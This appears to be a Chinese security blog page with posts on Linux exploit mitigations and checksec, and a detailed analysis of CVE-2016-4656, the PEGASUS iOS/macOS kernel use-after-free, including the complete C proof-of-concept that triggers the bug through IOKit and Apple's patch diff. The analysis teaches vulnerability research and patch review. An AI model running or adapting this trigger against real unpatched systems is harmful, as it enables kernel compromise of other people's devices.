2019年3月20日星期三

Linux PWN(一)漏洞缓解机制&checksec

学习整理,参考:linux程序的常用保护机制

0x1 漏洞缓解机制

现代操作系统提供了许多安全机制来尝试降低或阻止缓冲区溢出攻击带来的安全风险,在编写漏洞利用代码的时候,需要特别注意目标进程是否开启了DEP(Linux下对应NX)、ASLR(Linux下对应PIE)等机制,例如存在DEP(NX)就不能直接执行栈上的数据,存在ASLR各个系统调用的地址就是随机化的。
各种安全选择的编译参数如下:
NX:-z execstack / -z noexecstack (关闭 / 开启)
Canary:-fno-stack-protector /-fstack-protector / -fstack-protector-all (关闭 / 开启 / 全开启)
PIE:-no-pie / -pie (关闭 / 开启)
RELRO:-z norelro / -z lazy / -z now (关闭 / 部分开启 / 完全开启)

0x11 CANNARY(栈保护)

这个选项表示栈保护功能有没有开启。
栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中将cookie信息称为canary。
gcc在4.2版本中添加了-fstack-protector-fstack-protector-all编译参数以支持栈保护功能,4.9新增了-fstack-protector-strong编译参数让保护的范围更广。
因此在编译时可以控制是否开启栈保护以及程度,例如:
gcc -fno-stack-protector -o test test.c  //禁用栈保护
gcc -fstack-protector -o test test.c   //启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码
gcc -fstack-protector-all -o test test.c //启用堆栈保护,为所有函数插入保护代码

0x12 FORTIFY

fority是非常轻微的检查,用于检查是否存在缓冲区溢出的错误。适用情形是程序采用大量的字符串或者内存操作函数,如memcpy,memset,stpcpy,strcpy,strncpy,strcat,strncat,sprintf,snprintf,vsprintf,vsnprintf,gets以及宽字符的变体。
_FORTIFY_SOURCE设为1,并且将编译器设置为优化1(gcc -O1),以及出现上述情形,那么程序编译时就会进行检查但又不会改变程序功能
_FORTIFY_SOURCE设为2,有些检查功能会加入,但是这可能导致程序崩溃。
gcc -D_FORTIFY_SOURCE=1 仅仅只会在编译时进行检查 (特别像某些头文件 #include )
gcc -D_FORTIFY_SOURCE=2 程序执行时也会有检查 (如果检查到缓冲区溢出,就终止程序)
举个例子,一段简单的存在缓冲区溢出的C代码:
void fun(char *s) {
        char buf[0x100];
        strcpy(buf, s);
        /* Don't allow gcc to optimise away the buf */
        asm volatile("" :: "m" (buf));
}
用参数-U_FORTIFY_SOURCE编译:
08048450 <fun>:
  push   %ebp               ; 
  mov    %esp,%ebp
  sub    $0x118,%esp        ; 将0x118存储到栈上
  mov    0x8(%ebp),%eax     ; 将目标参数载入eax
  mov    %eax,0x4(%esp)     ; 保存目标参数
  lea    -0x108(%ebp),%eax  ; 数组buf
  mov    %eax,(%esp)        ; 保存
  call   8048320 <strcpy@plt>
  leave                     ; 
  ret
用参数-D_FORTIFY_SOURCE=2编译:
08048470 <fun>:
  push   %ebp               ; 
  mov    %esp,%ebp
  sub    $0x118,%esp        ; 
  movl   $0x100,0x8(%esp)   ; 把0x100当作目标参数保存
  mov    0x8(%ebp),%eax     ; 
  mov    %eax,0x4(%esp)     ; 
  lea    -0x108(%ebp),%eax  ; 
  mov    %eax,(%esp)        ; 
  call   8048370 <__strcpy_chk@plt>
  leave                      ; 
  ret
可以看到gcc生成了一些附加代码,通过对数组大小的判断替换strcpy, memcpy, memset等函数名,达到防止缓冲区溢出的作用。

0x13 NX(DEP)

NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。
工作原理如图:

gcc编译器默认开启了NX选项,如果需要关闭NX选项,可以给gcc编译器添加-z execstack参数。
例如:
gcc -o test test.c                   // 默认情况下,开启NX保护
gcc -z execstack -o test test.c      // 禁用NX保护
gcc -z noexecstack -o test test.c    // 开启NX保护
在Windows下,类似的概念为DEP(数据执行保护),在最新版的Visual Studio中默认开启了DEP编译选项。

0x14 PIE(ASLR)

一般情况下NX(Windows平台上称其为DEP)和地址空间分布随机化(ASLR)会同时工作。
内存地址随机化机制(address space layout randomization),有以下三种情况
0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址,stack和vdso页面随机化。
2 - 表示在1的基础上增加栈(heap)的随机化。
ASLR和DEP配合使用,能有效阻止攻击者在堆栈上运行恶意代码,可以防范基于Ret2libc方式的针对DEP的攻击。
Built as PIE:位置独立的可执行区域(position-independent executables)。这样使得在利用缓冲溢出和移动操作系统中存在的其他内存崩溃缺陷时采用面向返回的编程(return-oriented programming)方法变得难得多。
liunx下关闭PIE的命令如下:
sudo -s echo 0 > /proc/sys/kernel/randomize_va_space
gcc编译参数:PIE:-no-pie / -pie (关闭 / 开启)
gcc -pie -o test test.c        // 开启PIE
gcc -no-pie -o test test.c        // 关闭PIE

0x15 RELRO

在Linux系统安全领域数据可以写的存储区就会是攻击的目标,尤其是存储函数指针的区域。 所以在安全防护的角度来说尽量减少可写的存储区域对安全会有极大的好处.
GCC, GNU linker以及Glibc-dynamic linker一起配合实现了一种叫做relro的技术: read only relocation。大概实现就是由linker指定binary的一块经过dynamic linker处理过 relocation之后的区域为只读。
设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。RELRO为” Partial RELRO”,说明对GOT表具有写权限。
gcc编译:
gcc -o test test.c                        // 默认情况下,是Partial RELRO
gcc -z norelro -o test test.c            // 关闭,即No RELRO
gcc -z lazy -o test test.c                // 部分开启,即Partial RELRO
gcc -z now -o test test.c                // 全部开启

0x2 checksec

checksec可以用来检查ELF可执行文件的保护属性,例如PIE, RELRO, PaX, Canaries, ASLR, Fortify Source等。
另外checksec工具只是一个shell脚本,不到2000行,可用来学习shell,源码参见:
http://www.trapkit.de/tools/checksec.html/
https://github.com/slimm609/checksec.sh/
下载安装:
//macOS需安装binutils,但只能检查elf文件,不支持mach-O
$ brew install binutils
$ git clone https://github.com/slimm609/checksec.sh.git
$ ln -s /*/checksec.sh/checksec /usr/local/bin/checksec //绝对路径
$ checksec
Usage: checksec [--output {cli|csv|xml|json}] [OPTION]

Options:

  --file (-f) <executable-file>
  --dir (-d) <directory> [-v]
  --proc (-p) <process name>
  --proc-all (-pa)
  --proc-libs (-pl) <process ID>
  --kernel (-k) [kconfig]
  --fortify-file (-ff)<executable-file>
  --fortify-proc (-fp) <process ID>
  --version
  --help
  --update

For more information, see:
  http://github.com/slimm609/checksec.sh
checksec的使用方法:
$ checksec -f /bin/bash
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH    Symbols        FORTIFY    Fortified    Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols      Yes    13        33    /bin/bash
另外gdb的peda插件自带有checksec功能,安装及使用方式如下:
//安装peda
$ git clone https://github.com/longld/peda.git ~/peda
$ echo "source ~/peda/peda.py" >> ~/.gdbinit
$ gdb
//加载目标程序
gdb-peda$ exec-file ./wget-1.19.1/src/wget
//使用peda checksec
gdb-peda$  checksec
[+] checksec for './wget-1.19.1/src/wget'
Canary                        : No
NX                            : Yes
PIE                           : Yes
Fortify                       : No
RelRO                         : Partial

2019年3月19日星期二

Android(十二)安全机制变迁脑图

之前整理过的一份Android安全机制随版本更新变迁脑图,主要为漏洞缓解和一些安全措施:

2019年3月2日星期六

漏洞分析(四)CVE-2016-4656 PEGASUS iOS内核漏洞

0x0 背景

2016年8月25日,Apple 发布了iOS 9.3.5安全更新,以修复PEGASUS的iOS间谍工具。与之前发现的iOS恶意软件不同,此工具使用了三个不同的 0day漏洞来攻击iOS设备。不过,有关这些漏洞的公开信息相当少,因为Citizenlab、Lookout和Apple并未公开恶意代码样本,因此也无法进行第三方分析。
所以这次决定看看Apple发布的安全补丁,以便弄清楚PEGASUS滥用的漏洞。由于Stefan Esser专注于iOS内核问题,因此只涉及CVE-2016-4656内核漏洞。

0x1 补丁分析

不过分析iOS安全补丁并不那样简单。iOS 9内核仅以加密格式存储在设备和固件文件中。因此,为了获取解密内核的副本,要么具有允许解密内核的底层漏洞,要么对有问题的iOS版本进行越狱并从中获取内核内存转储。
本次决定使用越狱来从iOS测试设备中转储iOS 9.3.4和iOS 9.3.5内核。可以参考Mathew Solnik在博客文章中描述的方法,里面公开了通过内核漏洞从物理内存中转储完全解密的iOS内核的方法。
获取内核转储后,需要对比分析两个内核的差异,可以使用开源二进制diff插件Diaphora for IDA来完成。为了进行比较,先将iOS 9.3.4内核加载到IDA中,然后等待自动分析完成,然后使用Diaphora将当前的IDA数据库转储到SQLITE数据库格式中。之后再将iOS 9.3.5内核重复此过程,然后让Diaphora将这两个数据库区分开来。
下图为比较结果:
通过Diaphora可以发现了一些由iOS 9.3.5改变的函数,但是大多数这些变化只是跳跃目标的变化,不过从更改的函数列表中可以清楚地看出,最有可能的函数似乎是OSUnserializeXML
不过,由于重新排序导致iOS 9.3.4和iOS 9.3.5之间的函数发生了很大变化,所以分析差异会非常困难。好在通过进一步的分析,发现这个函数实际上是内联到另一个函数,通过查看与iOS内核非常相似的XNU源代码就可以更容易地找到漏洞,OS X 10.11.6的XNU内核可以在opensource.apple.com上找到。
查看代码显示内联函数实际上是OSUnserializeBinary:
OSObject*
OSUnserializeXML(const char *buffer, size_t bufferSize, OSString **errorString)
{
        if (!buffer) return (0);
        if (bufferSize < sizeof(kOSSerializeBinarySignature)) return (0);

        if (!strcmp(kOSSerializeBinarySignature, buffer)) return OSUnserializeBinary(buffer, bufferSize, errorString);

        // XML must be null terminated
        if (buffer[bufferSize - 1]) return 0;

        return OSUnserializeXML(buffer, errorString);
}

0x2 OSUnserializeBinary

OSUnserializeBinary是OSUnserializeXML中添加的较新代码,用于处理二进制序列化数据。因此,此函数以与OSUnserializeXML使用相同的方式接收用户输入。这意味着攻击者可以通过简单地调用允许序列化参数的任何IOKit API(或mach API)函数来滥用它们,例如简单的IOKit匹配函数。这也意味着可以从iOS或OS X上使用的任何沙箱中触发漏洞。
这个新函数的源代码位于libkern/c++/OSSerializeBinary.cpp中,可以进行源码审计,而不用分析补丁。新序列化的数据格式不是很复杂,它由一个32位标识符组成,然后是32位对齐的标记和数据对象。
支持以下数据类型:
  • Dictionary
  • Array
  • Set
  • Number
  • Symbol
  • String
  • Data
  • Boolean
  • Object (对反序列化对象的引用)
其中,在32位的24-30位中对这些数据类型进行编码,较低的24位被保留作为数字数据,例如存储长度或集合元素计数器。第31位标记集合的最后一个元素,所有其他数据(字符串,符号,二进制数据,数字)在数据流中四个字节对齐。有关示例,请参阅下面列出的POC。

0x3 漏洞

发现漏洞非常简单,因为它看起来非常类似于PHP函数unserialize()中的UAF漏洞。OSUnserialize()中的漏洞源于相同的原因:反序列化器可以在反序列化期间引用先前释放的对象。
每当反序列化一个对象时,它就会被添加到一个对象表中。这个代码看起来像这样:
if (!isRef)
{
        setAtIndex(objs, objsIdx, o);
        if (!ok) break;
        objsIdx++;
}
这里与PHP一样犯了同样的错误,因为setAtIndex()宏不会增加已标记对象的引用计数器,如下所示:
define setAtIndex(v, idx, o)                                                            
        if (idx >= v##Capacity)                 
        {                                                         
                uint32_t ncap = v##Capacity + 64;     
                typeof(v##Array) nbuf = (typeof(v##Array)) kalloc_container(ncap * sizeof(o));  
                if (!nbuf) ok = false;       
                if (v##Array)                         
                {                                                   
                        bcopy(v##Array, nbuf, v##Capacity * sizeof(o));     
                        kfree(v##Array, v##Capacity * sizeof(o));         
                }                                                                
                v##Array    = nbuf;                                                       
                v##Capacity = ncap;                                                    
        }                                                                                         
        if (ok) v##Array[idx] = o;   <---- remember object WITHOUT COUNTING THE REFERENCE
如果在反序列化期间不释放对象,则不跟踪v##Array中的引用将不会有问题。但是,至少有一个代码分支允许在反序列化期间释放对象。
从下面的代码中可以看出,字典元素支持OSSymbol和OSString。但是,在OSString情况下,它们会转换为OSSymbol,然后销毁OSString对象。不幸的是被销毁的OSString对象已经添加到OBJ文件对象表。
if (dict)
{
        if (sym)
        {
                DEBG("%s = %s\n", sym->getCStringNoCopy(), o->getMetaClass()->getClassName());
                if (o != dict) ok = dict->setObject(sym, o, true);
                o->release();
                sym->release();
                sym = 0;
        }
        else
        {
                sym = OSDynamicCast(OSSymbol, o);
                if (!sym && (str = OSDynamicCast(OSString, o)))
                {
                    sym = (OSSymbol *) OSSymbol::withString(str);
                    o->release();  <---- destruction of OSString object that is already in objs table
                    o = 0;
                }
                ok = (sym != 0);
        }
}
因此,可以简单地使用kOSSerializeObject数据类型来创建已销毁OSString对象的引用,这是典型的UAF漏洞。

0x4 POC

找出问题后,创建POC如下来触发此漏洞,可以在macOS上尝试(与iOS一样易受攻击):
/*
 * Simple POC to trigger CVE-2016-4656 (C) Copyright 2016 Stefan Esser / SektionEins GmbH
 * compile on OS X like:
 *    gcc -arch i386 -framework IOKit -o ex exploit.c
 */
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <mach/mach.h>
#include <IOKit/IOKitLib.h>
#include <IOKit/iokitmig.h>

enum
{
  kOSSerializeDictionary   = 0x01000000U,
  kOSSerializeArray        = 0x02000000U,
  kOSSerializeSet          = 0x03000000U,
  kOSSerializeNumber       = 0x04000000U,
  kOSSerializeSymbol       = 0x08000000U,
  kOSSerializeString       = 0x09000000U,
  kOSSerializeData         = 0x0a000000U,
  kOSSerializeBoolean      = 0x0b000000U,
  kOSSerializeObject       = 0x0c000000U,
  kOSSerializeTypeMask     = 0x7F000000U,
  kOSSerializeDataMask     = 0x00FFFFFFU,
  kOSSerializeEndCollecton = 0x80000000U,
};

#define kOSSerializeBinarySignature "\323\0\0"

int main()
{
  char * data = malloc(1024);
  uint32_t * ptr = (uint32_t *) data;
  uint32_t bufpos = 0;
  mach_port_t master = 0, res;
  kern_return_t kr;

  /* create header */
  memcpy(data, kOSSerializeBinarySignature, sizeof(kOSSerializeBinarySignature));
  bufpos += sizeof(kOSSerializeBinarySignature);

  /* create a dictionary with 2 elements */
  *(uint32_t *)(data+bufpos) = kOSSerializeDictionary | kOSSerializeEndCollecton | 2; bufpos += 4;
  /* our key is a OSString object */
  *(uint32_t *)(data+bufpos) = kOSSerializeString | 7; bufpos += 4;
  *(uint32_t *)(data+bufpos) = 0x41414141; bufpos += 4;
  *(uint32_t *)(data+bufpos) = 0x00414141; bufpos += 4;
  /* our data is a simple boolean */
  *(uint32_t *)(data+bufpos) = kOSSerializeBoolean | 64; bufpos += 4;
  /* now create a reference to object 1 which is the OSString object that was just freed */
  *(uint32_t *)(data+bufpos) = kOSSerializeObject | 1; bufpos += 4;

  /* get a master port for IOKit API */
  host_get_io_master(mach_host_self(), &master);
  /* trigger the bug */
  kr = io_service_get_matching_services_bin(master, data, bufpos, &res);
  printf("kr: 0x%x\n", kr);
}

0x5 后续

分析完上述部分后,发现了两个细节:
  1. OSUnserializeBinary()已经在2016年5月被苹果公司修补过一次,修复了上文中的UAF漏洞。
    发布该补丁是为了修复2016年1月11日Brandon Azad向Apple报告的漏洞CVE-2016-1828 ,详见Mac OS X Privilege Escalation via Use-After-Free: CVE-2016-1828
  2. 上文描述的UAF漏洞是在iOS 9和OS X 10.11之前的代码中,据悉PEGASUS与早期的iOS版本兼容,Apple甚至修补了早期的macOS版本,因此所描述的UAF漏洞不太可能是PEGASUS所使用的漏洞。
所以下面对PEGASUS使用漏洞进行一些更新。

0x6 OSUnserializeBinary()旧代码

393 if (dict)
394 {
395         if (sym)
396         {
397                 DEBG("%s = %s\n", sym->getCStringNoCopy(), o->getMetaClass()->getClassName());
398                 if (o != dict) ok = dict->setObject(sym, o);
399                 o->release();
400                 sym->release();
401                 sym = 0;
402         }
403         else
404         {
405                 sym = OSDynamicCast(OSSymbol, o);
406                 ok = (sym != 0);
407         }
408 }
在iOS 9.0和OS 10.11之前,dictionary keys必须是OSSymbol对象,而OSString代码路径尚未添加。这意味着上文中分析中解释的UAF触发器不适用于此旧版本的代码。
此外,仔细查看此代码并将其更详细地与上文分析进行比较,在旧版本的代码中,对setObject()的调用只有两个参数而不是三个,这是因为旧版尚未修复CVE-2016-1828。
现在详细地查看上面的代码,找出可以触发UAF条件的代码路径如下:
触发1:
在此代码中触发UAF条件的第一种方法是CVE-2016-1828:
  1. 第398行会将dictk1(sym)设置为对象o1
  2. 这会将o1k1的计数器增加一(从1到2)
  3. 在第399行中,释放了对象o1o1计数器减少到1
  4. 在400行,对象k1(sym )被释放,k1计数器减到1
  5. 上面步骤都很正常,但仍有字典保持了对这两个对象的引用
  6. 当下一个对象o2被反序列化并插入到dict中时,重复使用的相似密钥k1在398行代码即方法setObject()中,将用o2取代o1
    在替换期间,o1的计数器减少1到0。
  7. o1从内存中释放出来,但反序列化器会试图再次创建对该对象的引用,从而导致UAF。
触发2
在此代码中触发UAF条件的第二种方法是PEGASUS(CVE-2016-4656)可能使用的方法:
  1. 如果插入dict的对象odict自身,则398行不会调用方法setObject()
  2. 当没有执行setObject()时,osym的引用计数器永远不会增加
  3. 第399行将o的引用计数器减少到大于或等于1的某个值(因为它是对dict自身的引用)
  4. 第400行将sym的引用计数器减少到0可能性最大(比如符号是某个字符串)
  5. 此时OSSymbol对象sym被破坏
  6. 在此之后任何尝试创建对象sym的引用都将是UAF。
如上,iOS 9和OS X 10.11之前的代码已经有两个独立但非常相关的UAF触发代码路径。这意味着与本文第一部分中描述的第三个代码路径一起,仅仅20行代码,却有三个UAF触发代码路径。

0x7 修复

早在Apple发布CVE-2016-1828的修补程序时,他们对代码所做的唯一更改就是在调用setObject()方法时添加第三个参数true
if (o != dict) ok = dict->setObject(sym, o, true);
这将确保在尝试覆盖已设置的字典键时出现错误。因此,Brandon Azad报道的UAF情况不再被触发。
不幸的是,Apple还没有对OSUnserializeBinary()执行安全审计,否则熟练的审计员会意识到代码中有许多直接调用release(),这些调用可以用来提前从objsArray中释放对象,从而触发UAF。这将导致只是添加true作为setObject的第三个参数是一个不完整的修复。因此,在这20行代码中的另外两个UAF触发器仍可用于利用内核并完全穿透系统。
PEGASUS被发现后,现在苹果似乎已经花费更多的精力放在解决那些20行代码,因为他们不仅撤销为CVE-2016-1828的补丁,更是重构函数,现在函数中不再有任何调用release()部分(除了清理一个错误和一个临时变量)。这样,objsArray中的所有对象在返回结果之前会在函数的末尾被释放。从而在反序列化期间,引用计数器永远不会降为0。
可以在此处找到应用了补丁的OSSerializeBinary.cpp源码,对比差异如下:
--- OSSerializeBinary.cpp       2016-05-09 22:28:11.000000000 +0200
+++ OSSerializeBinaryPatched.cpp        2016-09-05 16:19:03.000000000 +0200
@@ -237,19 +237,21 @@

 /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */

-#define setAtIndex(v, idx, o)                                                  \
+#define setAtIndex(v, idx, o, max)                                             \
        if (idx >= v##Capacity)                                                 \
        {                                                                       \
-               uint32_t ncap = v##Capacity + 64;                               \
-               typeof(v##Array) nbuf = (typeof(v##Array)) kalloc_container(ncap * sizeof(o));  \
-               if (!nbuf) ok = false;                                          \
-               if (v##Array)                                                   \
-               {                                                               \
-                       bcopy(v##Array, nbuf, v##Capacity * sizeof(o));         \
-                       kfree(v##Array, v##Capacity * sizeof(o));               \
-               }                                                               \
-               v##Array    = nbuf;                                             \
-               v##Capacity = ncap;                                             \
+               if (v##Capacity < max) {        \
+                       uint32_t ncap = v##Capacity + 64;                       \
+                       typeof(v##Array) nbuf = (typeof(v##Array)) kalloc_container(ncap * sizeof(o));  \
+                       if (!nbuf) ok = false;                                  \
+                       if (v##Array)                                           \
+                       {                                                       \
+                               bcopy(v##Array, nbuf, v##Capacity * sizeof(o));\
+                               kfree(v##Array, v##Capacity * sizeof(o));       \
+                       }                                                       \
+                       v##Array    = nbuf;                                     \
+                       v##Capacity = ncap;                                     \
+               } else ok = false;                                              \
        }                                                                       \
        if (ok) v##Array[idx] = o;

@@ -338,13 +340,12 @@
                    case kOSSerializeObject:
                                if (len >= objsIdx) break;
                                o = objsArray[len];
-                               o->retain();
                                isRef = true;
                                break;

                    case kOSSerializeNumber:
                                bufferPos += sizeof(long long);
-                               if (bufferPos > bufferSize) break;
+                               if (bufferPos > bufferSize || ((len != 32) && (len != 64) && (len != 16) && (len != 8))) break;
                        value = next[1];
                        value <<= 32;
                        value |= next[0];
@@ -354,7 +355,7 @@

                    case kOSSerializeSymbol:
                                bufferPos += (wordLen * sizeof(uint32_t));
-                               if (bufferPos > bufferSize)           break;
+                               if (bufferPos > bufferSize || len < 2)           break;
                                if (0 != ((const char *)next)[len-1]) break;
                        o = (OSObject *) OSSymbol::withCString((const char *) next);
                        next += wordLen;
@@ -386,8 +387,11 @@

                if (!isRef)
                {
-                       setAtIndex(objs, objsIdx, o);
-                       if (!ok) break;
+                       setAtIndex(objs, objsIdx, o, 0x1000000);
+                       if (!ok) {
+                               o->release();
+                               break;
+                       }
                        objsIdx++;
                }

@@ -395,33 +399,35 @@
                {
                        if (sym)
                        {
-                               DEBG("%s = %s\n", sym->getCStringNoCopy(), o->getMetaClass()->getClassName());
-                               if (o != dict) ok = dict->setObject(sym, o, true);
-                               o->release();
-                               sym->release();
-                               sym = 0;
+                               OSSymbol *sym2 = OSDynamicCast(OSSymbol, sym);
+                               if (!sym2 && (str = OSDynamicCast(OSString, sym)))
+                               {
+                                       sym2 = (OSSymbol *) OSSymbol::withString(str);
+                                       ok = (sym2 != 0);
+                                       if (!sym2) break;
+                               }
+
+                               if (o != dict) ok = dict->setObject(sym2, o);
+                               if (sym2 && sym2 != sym) {
+                                       sym2->release();
+                               }
                        }
                        else
                        {
-                               sym = OSDynamicCast(OSSymbol, o);
-                               if (!sym && (str = OSDynamicCast(OSString, o)))
-                               {
-                                   sym = (OSSymbol *) OSSymbol::withString(str);
-                                   o->release();
-                                   o = 0;
-                               }
-                               ok = (sym != 0);
+                               sym = o;
                        }
                }
                else if (array)
                {
                        ok = array->setObject(o);
-                   o->release();
                }
                else if (set)
                {
-                  ok = set->setObject(o);
-                  o->release();
+                       ok = set->setObject(o);
+               }
+               else if (result)
+               {
+                       ok = false;
                }
                else
                {
@@ -436,7 +442,7 @@
                        if (!end)
                        {
                                stackIdx++;
-                               setAtIndex(stack, stackIdx, parent);
+                               setAtIndex(stack, stackIdx, parent, 0x10000);
                                if (!ok) break;
                        }
                        DEBG("++stack[%d] %p\n", stackIdx, parent);
@@ -462,15 +468,19 @@
                        }
                }
        }
-       DEBG("ret %p\n", result);
-
-       if (objsCapacity)  kfree(objsArray,  objsCapacity  * sizeof(*objsArray));
-       if (stackCapacity) kfree(stackArray, stackCapacity * sizeof(*stackArray));

-       if (!ok && result)
+       if (!ok)
        {
-               result->release();
                result = 0;
        }
+       if (objsCapacity) {
+               uint32_t i;
+               for (i = (result?1:0); i < objsIndx; i++) {
+                       objsArray[i]->release();
+               }
+               kfree(objsArray,  objsCapacity  * sizeof(*objsArray));
+       }
+       if (stackCapacity) kfree(stackArray, stackCapacity * sizeof(*stackArray));
+
        return (result);
 }

0x8 总结

在过去的两周里,许多安全专业人士称赞苹果公司对PEGASUS威胁做出快速反应。之所以给予这种表扬,是因为有关各方保留了研究样本,并没有透露任何有关内核漏洞的详细信息。没有这些信息,公众只是假设PEGASUS监控恶意软件正在使用全新的内核漏洞来接管iOS设备,并且Apple在2016年8月中旬首次听到这些问题。
不幸的是,在弄清了PEGASUS使用的内核漏洞后,出现了一个完全不同的画面:被称为CVE-2016-4656的内核漏洞仍然在代码中,因为Apple在2016年5月修补了CVE-2016-1828而没有对相关代码进行安全审查。在只有20行代码中,存在允许UAF的三个代码路径。而Apple只修复了其中一条路径,尽管其他release()方法在代码中明显紧挨着它。此外,现在发布的PEGASUS补丁显示,通过稍微重新设计代码,Apple能够同时解决所有三个问题。Brandon Azad在1月份报道UAF之后,我们认为这是一次巨大的疏忽。如果Apple以不同的方式修复了CVE-2016-1828,那么CVE-2016-4656将永远不会被滥用。
不幸的是,这不是Apple第一次拙劣的进行安全修复。SektionEins已经强调了这个令人不安的问题,而苹果两年来一次又一次拙劣的进行安全修复。由于反复强调Apple缺乏安全补丁的质量保证,这使得我们与Apple关系极其恶劣,而且导致iOS AppStore下架了我们的SysSecInfo安全应用程序。详情见此
最后的思考:
考察过Brandon Azad的CVE-2016-1828和PEGASUS的CVE-2016-4656,我们认为PEGASUS中使用的内核bug比Brandon Azad发现的bug更难以发现并更难以利用。这让我们相信,在CVE-2016-1828的修复程序已经发布之前,应该尚未编写PEGASUS中使用的漏洞,否则该作者应该会发现并选择更容易利用的漏洞。这可能意味着CVE-2016-1828已被用于以前的PEGASUS版本,或者该作者发现了CVE-2016-1828修复不完整。但这些也都只是猜测。

CVE/CNVD list

报告记录&poc: 最近fuzz出了不少crash,提交记录git: https://github.com/gandalf4a/crash_report 其中CVE记录如下: (不定期持续更新) 2025 CVE-2025-22134:heap-buffer-o...